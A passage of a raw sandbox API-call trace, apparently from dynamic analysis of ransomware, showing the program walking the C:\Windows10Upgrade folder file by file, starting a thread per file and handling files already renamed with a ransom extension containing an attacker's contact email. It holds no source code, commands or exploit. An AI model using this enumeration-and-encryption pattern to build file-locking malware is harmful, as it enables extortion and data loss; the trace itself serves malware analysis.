_Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.771] wcscat (in: _Dest=0x2f803a0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.771] wcscat (in: _Dest=0x2f803a0, _Source="dll2" | out: _Dest="C:\\Windows10Upgrade\\dll2") returned="C:\\Windows10Upgrade\\dll2" [0163.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f803a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380 [0163.772] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea380798, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea380798, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x326c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="downloader.dll", cAlternateFileName="DOWNLO~1.DLL")) returned 1 [0163.772] wcscmp (_String1="downloader.dll", _String2=".") returned 1 [0163.772] wcscmp (_String1="downloader.dll", _String2="..") returned 1 [0163.772] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea381b2a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea381b2a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7ea35f7f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9d3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DW20EX~1.D0E")) returned 1 [0163.772] wcscmp (_String1="DW20.EXE.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.772] wcscmp (_String1="DW20.EXE.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.772] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x7c) returned 0x2f716c0 [0163.772] wcscpy (in: _Dest=0x2f716c0, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.772] wcscat (in: _Dest=0x2f716c0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.772] wcscat (in: _Dest=0x2f716c0, _Source="DW20.EXE.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\DW20.EXE.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\DW20.EXE.mailto[kokoklock@cock.li].d0e731" [0163.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f716c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0163.773] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea385605, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea385605, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xc2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWDCW20.DLL", cAlternateFileName="")) returned 1 [0163.773] wcscmp (_String1="DWDCW20.DLL", _String2=".") returned 1 [0163.773] wcscmp (_String1="DWDCW20.DLL", _String2="..") returned 1 [0163.773] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea386943, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea386943, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7ea5c3a5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xb388, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DWTRIG~1.D0E")) returned 1 [0163.773] wcscmp (_String1="DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.773] wcscmp (_String1="DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.773] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x84) returned 0x2f833a8 [0163.773] wcscpy (in: _Dest=0x2f833a8, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.773] wcscat (in: _Dest=0x2f833a8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.773] wcscat (in: _Dest=0x2f833a8, _Source="DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731" [0163.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f833a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0163.774] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea387cd0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea387cd0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2652, dwReserved0=0x0, dwReserved1=0x0, cFileName="EnableWiFiTracing.cmd", cAlternateFileName="ENABLE~1.CMD")) returned 1 [0163.774] wcscmp (_String1="EnableWiFiTracing.cmd", _String2=".") returned 1 [0163.774] wcscmp (_String1="EnableWiFiTracing.cmd", _String2="..") returned 1 [0163.774] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea389060, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea389060, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x10cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESDHelper.dll", cAlternateFileName="ESDHEL~1.DLL")) returned 1 [0163.774] wcscmp (_String1="ESDHelper.dll", _String2=".") returned 1 [0163.774] wcscmp (_String1="ESDHelper.dll", _String2="..") returned 1 [0163.774] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea38cadd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea38cadd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x9ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="esdstub.dll", cAlternateFileName="")) returned 1 [0163.774] wcscmp (_String1="esdstub.dll", _String2=".") returned 1 [0163.774] wcscmp (_String1="esdstub.dll", _String2="..") returned 1 [0163.774] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea38de7f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea38de7f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7f2a72b9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x89fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GATHER~1.D0E")) returned 1 [0163.774] wcscmp (_String1="GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.774] wcscmp (_String1="GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.774] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2f69b30 [0163.774] wcscpy (in: _Dest=0x2f69b30, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.774] wcscat (in: _Dest=0x2f69b30, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.774] wcscat (in: _Dest=0x2f69b30, _Source="GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731" [0163.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f69b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0163.775] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39058e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39058e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x83cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentDeploy.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0163.775] wcscmp (_String1="GetCurrentDeploy.dll", _String2=".") returned 1 [0163.775] wcscmp (_String1="GetCurrentDeploy.dll", _String2="..") returned 1 [0163.775] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea392ca4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea392ca4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~2.DLL")) returned 1 [0163.775] wcscmp (_String1="GetCurrentOOBE.dll", _String2=".") returned 1 [0163.775] wcscmp (_String1="GetCurrentOOBE.dll", _String2="..") returned 1 [0163.775] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39539e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39539e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7eb46d6d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GETCUR~1.D0E")) returned 1 [0163.775] wcscmp (_String1="GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.775] wcscmp (_String1="GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.775] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x98) returned 0x2f63d48 [0163.775] wcscpy (in: _Dest=0x2f63d48, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.775] wcscat (in: _Dest=0x2f63d48, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.775] wcscat (in: _Dest=0x2f63d48, _Source="GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\GetCurrentRollback.EXE.mailto[kokoklock@cock.li].d0e731" [0163.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f63d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390 [0163.776] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39673d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39673d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7eb8d5d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="HttpHelper.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HTTPHE~1.D0E")) returned 1 [0163.776] wcscmp (_String1="HttpHelper.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.776] wcscmp (_String1="HttpHelper.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.776] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x88) returned 0x2f82a18 [0163.776] wcscpy (in: _Dest=0x2f82a18, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.776] wcscat (in: _Dest=0x2f82a18, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.776] wcscat (in: _Dest=0x2f82a18, _Source="HttpHelper.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\HttpHelper.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\HttpHelper.exe.mailto[kokoklock@cock.li].d0e731" [0163.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0163.777] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PostOOBEScript.cmd", cAlternateFileName="POSTOO~1.CMD")) returned 1 [0163.777] wcscmp (_String1="PostOOBEScript.cmd", _String2=".") returned 1 [0163.777] wcscmp (_String1="PostOOBEScript.cmd", _String2="..") returned 1 [0163.777] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x81454607, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81454607, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0163.777] wcscmp (_String1="resources", _String2=".") returned 1 [0163.777] wcscmp (_String1="resources", _String2="..") returned 1 [0163.777] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3c) returned 0x2f877d0 [0163.777] wcscpy (in: _Dest=0x2f877d0, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.777] wcscat (in: _Dest=0x2f877d0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.777] wcscat (in: _Dest=0x2f877d0, _Source="resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0163.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f877d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0163.778] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea9ef415, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea9ef415, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7ebd9972, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3d24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="upgrader_default.log.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPGRAD~1.D0E")) returned 1 [0163.778] wcscmp (_String1="upgrader_default.log.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.778] wcscmp (_String1="upgrader_default.log.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.778] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2f63c80 [0163.778] wcscpy (in: _Dest=0x2f63c80, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.778] wcscat (in: _Dest=0x2f63c80, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.778] wcscat (in: _Dest=0x2f63c80, _Source="upgrader_default.log.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731" [0163.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f63c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0163.778] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccdc86a8, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7ebffcba, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5104, dwReserved0=0x0, dwReserved1=0x0, cFileName="upgrader_win10.log.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPGRAD~2.D0E")) returned 1 [0163.778] wcscmp (_String1="upgrader_win10.log.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.778] wcscmp (_String1="upgrader_win10.log.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.779] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2f6fad8 [0163.779] wcscpy (in: _Dest=0x2f6fad8, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.779] wcscat (in: _Dest=0x2f6fad8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.779] wcscat (in: _Dest=0x2f6fad8, _Source="upgrader_win10.log.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731" [0163.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6fad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0 [0163.779] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63f06a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63f06a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x880c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wimgapi.dll", cAlternateFileName="")) returned 1 [0163.779] wcscmp (_String1="wimgapi.dll", _String2=".") returned 1 [0163.779] wcscmp (_String1="wimgapi.dll", _String2="..") returned 1 [0163.779] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea642af3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea642af3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xdf8c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="windlp.dll", cAlternateFileName="")) returned 1 [0163.779] wcscmp (_String1="windlp.dll", _String2=".") returned 1 [0163.779] wcscmp (_String1="windlp.dll", _String2="..") returned 1 [0163.779] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea64a022, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea64a022, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7f2dda5f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x159bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WINDOW~1.D0E")) returned 1 [0163.779] wcscmp (_String1="Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.779] wcscmp (_String1="Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.779] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6cb88 [0163.780] wcscpy (in: _Dest=0x2f6cb88, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.780] wcscat (in: _Dest=0x2f6cb88, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.780] wcscat (in: _Dest=0x2f6cb88, _Source="Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731" [0163.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cb88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0163.780] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea64ee41, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea64ee41, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7ecbe865, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6388, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WINREB~1.D0E")) returned 1 [0163.780] wcscmp (_String1="WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.780] wcscmp (_String1="WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.780] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2f6a4a8 [0163.780] wcscpy (in: _Dest=0x2f6a4a8, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.780] wcscat (in: _Dest=0x2f6a4a8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.780] wcscat (in: _Dest=0x2f6a4a8, _Source="WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731" [0163.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6a4a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0163.781] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6528e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6528e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7ece4a32, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6588, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WINREB~2.D0E")) returned 1 [0163.781] wcscmp (_String1="WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.781] wcscmp (_String1="WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.781] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2f63a70 [0163.781] wcscpy (in: _Dest=0x2f63a70, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0163.781] wcscat (in: _Dest=0x2f63a70, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0163.781] wcscat (in: _Dest=0x2f63a70, _Source="WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731" [0163.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f63a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0163.782] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2f97620 | out: lpFindFileData=0x2f97620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6528e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6528e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7ece4a32, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6588, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731", 